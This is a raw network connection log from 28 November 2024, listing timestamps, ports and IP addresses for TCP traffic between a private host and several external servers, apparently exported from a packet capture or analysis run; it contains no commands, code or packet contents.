Nov 28, 2024 17:24:31.746614933 CET	49784	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:32.041024923 CET	443	49789	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:32.045258045 CET	443	49788	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:32.050723076 CET	49788	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:32.050740004 CET	443	49788	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:32.051229000 CET	49788	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:32.051234007 CET	443	49788	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:32.051676035 CET	49789	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:32.051692009 CET	443	49789	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:32.052273989 CET	49789	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:32.052284956 CET	443	49789	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:32.053222895 CET	49786	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:32.053251982 CET	443	49786	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:32.053263903 CET	49786	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:32.053271055 CET	443	49786	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:32.054647923 CET	49785	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:32.054668903 CET	443	49785	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:32.061170101 CET	49784	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:32.061170101 CET	49784	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:32.061197042 CET	443	49784	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:32.061208010 CET	443	49784	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:32.225774050 CET	49790	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:32.225824118 CET	443	49790	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:32.226057053 CET	49790	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:32.231564045 CET	49791	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:32.231604099 CET	443	49791	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:32.231690884 CET	49791	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:32.232021093 CET	49790	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:32.232036114 CET	443	49790	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:32.235007048 CET	49791	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:32.235022068 CET	443	49791	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:32.237349033 CET	49792	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:32.237395048 CET	443	49792	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:32.237539053 CET	49792	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:32.237623930 CET	49792	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:32.237638950 CET	443	49792	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:32.348378897 CET	49793	443	192.168.2.6	150.171.27.10
Nov 28, 2024 17:24:32.348411083 CET	443	49793	150.171.27.10	192.168.2.6
Nov 28, 2024 17:24:32.348597050 CET	49793	443	192.168.2.6	150.171.27.10
Nov 28, 2024 17:24:32.348825932 CET	49793	443	192.168.2.6	150.171.27.10
Nov 28, 2024 17:24:32.348840952 CET	443	49793	150.171.27.10	192.168.2.6
Nov 28, 2024 17:24:32.476660967 CET	443	49789	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:32.476730108 CET	443	49789	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:32.476787090 CET	49789	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:32.489605904 CET	443	49788	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:32.489664078 CET	443	49788	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:32.489748001 CET	49788	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:32.654611111 CET	49789	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:32.654611111 CET	49789	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:32.654630899 CET	443	49789	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:32.654642105 CET	443	49789	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:32.656105995 CET	49788	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:32.656125069 CET	443	49788	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:32.736717939 CET	49794	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:32.736758947 CET	443	49794	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:32.737005949 CET	49794	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:32.737622976 CET	49795	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:32.737656116 CET	443	49795	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:32.737709999 CET	49795	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:32.749944925 CET	49794	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:32.749963045 CET	443	49794	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:32.750473976 CET	49795	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:32.750488997 CET	443	49795	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:33.931327105 CET	443	49793	150.171.27.10	192.168.2.6
Nov 28, 2024 17:24:33.931390047 CET	49793	443	192.168.2.6	150.171.27.10
Nov 28, 2024 17:24:34.018007040 CET	443	49790	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:34.019682884 CET	443	49791	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:34.021809101 CET	443	49792	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:34.044887066 CET	49790	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:34.044899940 CET	443	49790	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:34.045703888 CET	49790	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:34.045708895 CET	443	49790	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:34.046260118 CET	49791	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:34.046274900 CET	443	49791	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:34.046979904 CET	49791	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:34.046989918 CET	443	49791	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:34.047353029 CET	49792	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:34.047369957 CET	443	49792	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:34.047734976 CET	49792	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:34.047739983 CET	443	49792	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:34.088018894 CET	49706	443	192.168.2.6	20.190.181.5
Nov 28, 2024 17:24:34.088274002 CET	49706	443	192.168.2.6	20.190.181.5
Nov 28, 2024 17:24:34.210478067 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:34.210550070 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:34.210580111 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:34.210691929 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:34.210755110 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:34.472140074 CET	443	49791	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:34.472279072 CET	443	49791	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:34.472505093 CET	49791	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:34.474806070 CET	443	49792	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:34.474855900 CET	443	49792	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:34.474909067 CET	49792	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:34.479142904 CET	443	49790	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:34.479212046 CET	443	49790	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:34.479441881 CET	49790	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:34.531275988 CET	443	49794	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:34.544563055 CET	49794	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:34.544583082 CET	443	49794	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:34.545392036 CET	49794	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:34.545397997 CET	443	49794	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:34.545865059 CET	49791	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:34.545865059 CET	49791	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:34.545891047 CET	443	49791	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:34.545896053 CET	443	49791	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:34.546619892 CET	49792	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:34.546619892 CET	49792	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:34.546644926 CET	443	49792	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:34.546654940 CET	443	49792	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:34.548326015 CET	49790	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:34.548346996 CET	443	49790	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:34.548360109 CET	49790	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:34.548365116 CET	443	49790	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:34.550368071 CET	49802	443	192.168.2.6	94.245.104.56
Nov 28, 2024 17:24:34.550398111 CET	443	49802	94.245.104.56	192.168.2.6
Nov 28, 2024 17:24:34.550565004 CET	49802	443	192.168.2.6	94.245.104.56
Nov 28, 2024 17:24:34.599759102 CET	443	49795	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:34.683293104 CET	49795	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:34.722393990 CET	49803	443	192.168.2.6	94.245.104.56
Nov 28, 2024 17:24:34.722436905 CET	443	49803	94.245.104.56	192.168.2.6
Nov 28, 2024 17:24:34.722508907 CET	49803	443	192.168.2.6	94.245.104.56
Nov 28, 2024 17:24:34.753746033 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:34.753889084 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:34.754050970 CET	49706	443	192.168.2.6	20.190.181.5
Nov 28, 2024 17:24:34.757880926 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:34.757962942 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:34.758059025 CET	49706	443	192.168.2.6	20.190.181.5
Nov 28, 2024 17:24:34.766334057 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:34.766454935 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:34.766741037 CET	49706	443	192.168.2.6	20.190.181.5
Nov 28, 2024 17:24:34.774857044 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:34.774936914 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:34.775029898 CET	49706	443	192.168.2.6	20.190.181.5
Nov 28, 2024 17:24:34.783343077 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:34.883249998 CET	49706	443	192.168.2.6	20.190.181.5
Nov 28, 2024 17:24:34.981084108 CET	443	49794	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:34.981153011 CET	443	49794	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:34.981220007 CET	49794	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:35.116478920 CET	49795	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:35.116508961 CET	443	49795	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:35.117044926 CET	49795	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:35.117048979 CET	443	49795	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:35.173120022 CET	49794	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:35.173166990 CET	443	49794	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:35.173180103 CET	49794	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:35.173187017 CET	443	49794	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:35.178653955 CET	49803	443	192.168.2.6	94.245.104.56
Nov 28, 2024 17:24:35.178688049 CET	443	49803	94.245.104.56	192.168.2.6
Nov 28, 2024 17:24:35.178941965 CET	49802	443	192.168.2.6	94.245.104.56
Nov 28, 2024 17:24:35.178966999 CET	443	49802	94.245.104.56	192.168.2.6
Nov 28, 2024 17:24:35.286504030 CET	49804	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:35.286572933 CET	443	49804	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:35.286639929 CET	49804	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:35.303085089 CET	49805	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:35.303133011 CET	443	49805	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:35.303194046 CET	49805	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:35.313980103 CET	49804	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:35.314040899 CET	443	49804	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:35.330059052 CET	49805	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:35.330074072 CET	443	49805	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:35.393703938 CET	49806	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:35.393774033 CET	443	49806	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:35.393841028 CET	49806	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:35.397372007 CET	49807	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:35.397413969 CET	443	49807	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:35.397468090 CET	49807	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:35.410166025 CET	49806	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:35.410212040 CET	443	49806	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:35.412369967 CET	49807	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:35.412384987 CET	443	49807	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:35.457603931 CET	443	49795	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:35.457931995 CET	443	49795	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:35.457999945 CET	49795	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:35.471589088 CET	49795	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:35.471616983 CET	443	49795	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:35.471628904 CET	49795	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:35.471636057 CET	443	49795	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:35.485820055 CET	49808	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:35.485877037 CET	443	49808	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:35.485937119 CET	49808	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:35.486285925 CET	49808	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:35.486300945 CET	443	49808	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:35.544739962 CET	80	49780	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:35.544856071 CET	49780	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:35.732395887 CET	49810	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:35.732438087 CET	443	49810	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:35.732491970 CET	49810	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:35.735301971 CET	49810	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:35.735318899 CET	443	49810	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:36.171451092 CET	49780	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:36.171717882 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:36.292181015 CET	80	49780	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:36.292222977 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:36.292320013 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:36.319772005 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:36.443936110 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:36.880466938 CET	443	49805	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:36.887139082 CET	49805	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:36.887162924 CET	443	49805	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:36.888190985 CET	49805	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:36.888195992 CET	443	49805	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:36.942019939 CET	443	49802	94.245.104.56	192.168.2.6
Nov 28, 2024 17:24:36.944360971 CET	49802	443	192.168.2.6	94.245.104.56
Nov 28, 2024 17:24:36.944391966 CET	443	49802	94.245.104.56	192.168.2.6
Nov 28, 2024 17:24:36.945475101 CET	443	49802	94.245.104.56	192.168.2.6
Nov 28, 2024 17:24:36.945555925 CET	49802	443	192.168.2.6	94.245.104.56
Nov 28, 2024 17:24:36.961174011 CET	49802	443	192.168.2.6	94.245.104.56
Nov 28, 2024 17:24:36.961282015 CET	443	49802	94.245.104.56	192.168.2.6
Nov 28, 2024 17:24:36.961699009 CET	49802	443	192.168.2.6	94.245.104.56
Nov 28, 2024 17:24:36.998370886 CET	443	49803	94.245.104.56	192.168.2.6
Nov 28, 2024 17:24:36.998843908 CET	49803	443	192.168.2.6	94.245.104.56
Nov 28, 2024 17:24:36.998876095 CET	443	49803	94.245.104.56	192.168.2.6
Nov 28, 2024 17:24:37.000042915 CET	443	49803	94.245.104.56	192.168.2.6
Nov 28, 2024 17:24:37.000108004 CET	49803	443	192.168.2.6	94.245.104.56
Nov 28, 2024 17:24:37.003350973 CET	443	49802	94.245.104.56	192.168.2.6
Nov 28, 2024 17:24:37.035093069 CET	49803	443	192.168.2.6	94.245.104.56
Nov 28, 2024 17:24:37.035336018 CET	443	49803	94.245.104.56	192.168.2.6
Nov 28, 2024 17:24:37.067302942 CET	443	49804	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:37.081919909 CET	49802	443	192.168.2.6	94.245.104.56
Nov 28, 2024 17:24:37.081947088 CET	443	49802	94.245.104.56	192.168.2.6
Nov 28, 2024 17:24:37.120748043 CET	49804	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:37.120798111 CET	443	49804	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:37.121431112 CET	49804	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:37.121443033 CET	443	49804	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:37.135973930 CET	443	49806	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:37.137293100 CET	49806	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:37.137331009 CET	443	49806	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:37.138016939 CET	49806	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:37.138036013 CET	443	49806	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:37.155973911 CET	49803	443	192.168.2.6	94.245.104.56
Nov 28, 2024 17:24:37.156002998 CET	443	49803	94.245.104.56	192.168.2.6
Nov 28, 2024 17:24:37.273557901 CET	49802	443	192.168.2.6	94.245.104.56
Nov 28, 2024 17:24:37.281056881 CET	443	49807	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:37.319773912 CET	443	49805	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:37.319838047 CET	443	49805	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:37.319880009 CET	49805	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:37.327090979 CET	49807	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:37.327120066 CET	443	49807	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:37.327609062 CET	49807	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:37.327614069 CET	443	49807	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:37.328232050 CET	49805	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:37.328259945 CET	443	49805	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:37.328277111 CET	49805	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:37.328284025 CET	443	49805	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:37.334516048 CET	443	49808	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:37.334960938 CET	49808	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:37.334995031 CET	443	49808	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:37.338774920 CET	49808	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:37.338793039 CET	443	49808	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:37.340991974 CET	49819	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:37.341032028 CET	443	49819	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:37.341124058 CET	49819	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:37.345030069 CET	49819	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:37.345047951 CET	443	49819	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:37.356508970 CET	49803	443	192.168.2.6	94.245.104.56
Nov 28, 2024 17:24:37.444596052 CET	443	49802	94.245.104.56	192.168.2.6
Nov 28, 2024 17:24:37.445013046 CET	443	49802	94.245.104.56	192.168.2.6
Nov 28, 2024 17:24:37.445061922 CET	49802	443	192.168.2.6	94.245.104.56
Nov 28, 2024 17:24:37.451620102 CET	49802	443	192.168.2.6	94.245.104.56
Nov 28, 2024 17:24:37.451658010 CET	443	49802	94.245.104.56	192.168.2.6
Nov 28, 2024 17:24:37.470607042 CET	49820	443	192.168.2.6	172.217.19.225
Nov 28, 2024 17:24:37.470659018 CET	443	49820	172.217.19.225	192.168.2.6
Nov 28, 2024 17:24:37.470716000 CET	49820	443	192.168.2.6	172.217.19.225
Nov 28, 2024 17:24:37.471220016 CET	49820	443	192.168.2.6	172.217.19.225
Nov 28, 2024 17:24:37.471237898 CET	443	49820	172.217.19.225	192.168.2.6
Nov 28, 2024 17:24:37.508574963 CET	443	49804	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:37.508641958 CET	443	49804	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:37.508711100 CET	49804	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:37.580707073 CET	443	49806	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:37.580780983 CET	443	49806	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:37.580881119 CET	49806	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:37.744882107 CET	443	49807	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:37.744956970 CET	443	49807	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:37.745002985 CET	49807	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:37.799504995 CET	49804	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:37.799505949 CET	49804	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:37.799555063 CET	443	49804	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:37.799572945 CET	443	49804	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:37.800232887 CET	443	49808	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:37.800299883 CET	443	49808	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:37.800338984 CET	49808	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:37.801810026 CET	49808	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:37.801829100 CET	443	49808	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:37.801842928 CET	49808	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:37.801851988 CET	443	49808	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:37.803385973 CET	49806	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:37.803400040 CET	443	49806	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:37.803415060 CET	49806	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:37.803422928 CET	443	49806	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:37.804912090 CET	49807	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:37.804934025 CET	443	49807	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:37.804945946 CET	49807	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:37.804951906 CET	443	49807	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:37.812372923 CET	49821	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:37.812381029 CET	49822	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:37.812406063 CET	443	49821	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:37.812416077 CET	443	49822	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:37.812472105 CET	49821	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:37.812474012 CET	49822	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:37.812803030 CET	49821	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:37.812814951 CET	443	49821	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:37.813033104 CET	49822	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:37.813045025 CET	443	49822	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:37.813765049 CET	49823	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:37.813776970 CET	443	49823	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:37.813826084 CET	49823	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:37.813963890 CET	49823	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:37.813976049 CET	443	49823	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:37.814584017 CET	49824	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:37.814616919 CET	443	49824	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:37.814672947 CET	49824	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:37.814838886 CET	49824	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:37.814853907 CET	443	49824	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:38.043891907 CET	443	49810	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:38.043981075 CET	49810	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:38.046355963 CET	49810	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:38.046370029 CET	443	49810	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:38.046617985 CET	443	49810	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:38.048494101 CET	49810	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:38.048703909 CET	49810	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:38.048703909 CET	49810	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:38.048710108 CET	443	49810	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:38.095324039 CET	443	49810	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:38.191721916 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:38.191909075 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:38.435692072 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:38.555326939 CET	49793	443	192.168.2.6	150.171.27.10
Nov 28, 2024 17:24:38.555362940 CET	443	49793	150.171.27.10	192.168.2.6
Nov 28, 2024 17:24:38.555732965 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:38.556864977 CET	49793	443	192.168.2.6	150.171.27.10
Nov 28, 2024 17:24:38.556874037 CET	443	49793	150.171.27.10	192.168.2.6
Nov 28, 2024 17:24:38.723609924 CET	443	49810	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:38.723810911 CET	443	49810	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:38.723866940 CET	49810	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:38.723963022 CET	49810	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:38.723988056 CET	443	49810	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:38.732228994 CET	49803	443	192.168.2.6	94.245.104.56
Nov 28, 2024 17:24:38.732316971 CET	443	49803	94.245.104.56	192.168.2.6
Nov 28, 2024 17:24:38.732369900 CET	49820	443	192.168.2.6	172.217.19.225
Nov 28, 2024 17:24:38.732481003 CET	49803	443	192.168.2.6	94.245.104.56
